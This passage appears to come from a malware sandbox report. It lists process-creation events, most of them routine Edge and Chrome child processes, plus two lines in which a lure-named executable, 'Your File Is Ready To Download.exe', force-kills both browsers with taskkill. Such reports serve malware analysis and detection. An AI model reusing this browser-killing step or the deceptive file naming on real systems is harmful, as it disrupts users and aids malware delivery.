Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5838869208 --mojo-platform-channel-handle=3588 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5839068631 --mojo-platform-channel-handle=3688 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5839537573 --mojo-platform-channel-handle=4792 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=4952 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=10 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5839890168 --mojo-platform-channel-handle=5092 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=5300 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=12 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5840336035 --mojo-platform-channel-handle=5796 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=13 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5840526288 --mojo-platform-channel-handle=5976 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=14 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5840621379 --mojo-platform-channel-handle=6140 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=6356 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=6648 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=6608 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=21 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5843305504 --mojo-platform-channel-handle=7140 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7296 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7688 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Windows\SysWOW64\taskkill.exe /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=7924 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2044 --field-trial-handle=2040,i,13136158115941223659,15677216447442921038,262144 /prefetch:2
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2040,i,13136158115941223659,15677216447442921038,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=6436 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=3652 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=6980 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=8308 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=8456 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x160,0x164,0x168,0x13c,0x174,0x7ffdd31a8e88,0x7ffdd31a8e98,0x7ffdd31a8ea8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2056 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:2
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=2548 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --first-renderer-process --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5838769761 --mojo-platform-channel-handle=3400 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5838869208 --mojo-platform-channel-handle=3588 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5839068631 --mojo-platform-channel-handle=3688 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5839537573 --mojo-platform-channel-handle=4792 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=4952 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=10 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5839890168 --mojo-platform-channel-handle=5092 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=5300 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=16 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5840144929 --mojo-platform-channel-handle=5604 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=12 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5840336035 --mojo-platform-channel-handle=5796 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=13 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5840526288 --mojo-platform-channel-handle=5976 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=14 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5840621379 --mojo-platform-channel-handle=6140 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=6356 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1876 --field-trial-handle=2016,i,2864284278806494210,79671049654359720,262144 /prefetch:2
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=6648 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=6608 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=21 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5843305504 --mojo-platform-channel-handle=7140 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7296 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7688 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8
Source: C:\Users\user\Desktop\Your File Is Ready To Download.exeProcess created: C:\Windows\SysWOW64\taskkill.exe /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x12c,0x154,0x158,0x130,0x1a4,0x7ffdd31a8e88,0x7ffdd31a8e98,0x7ffdd31a8ea8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2020,i,11844467829304668407,15516714887544658327,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5839068631 --mojo-platform-channel-handle=3688 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5839537573 --mojo-platform-channel-handle=4792 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1
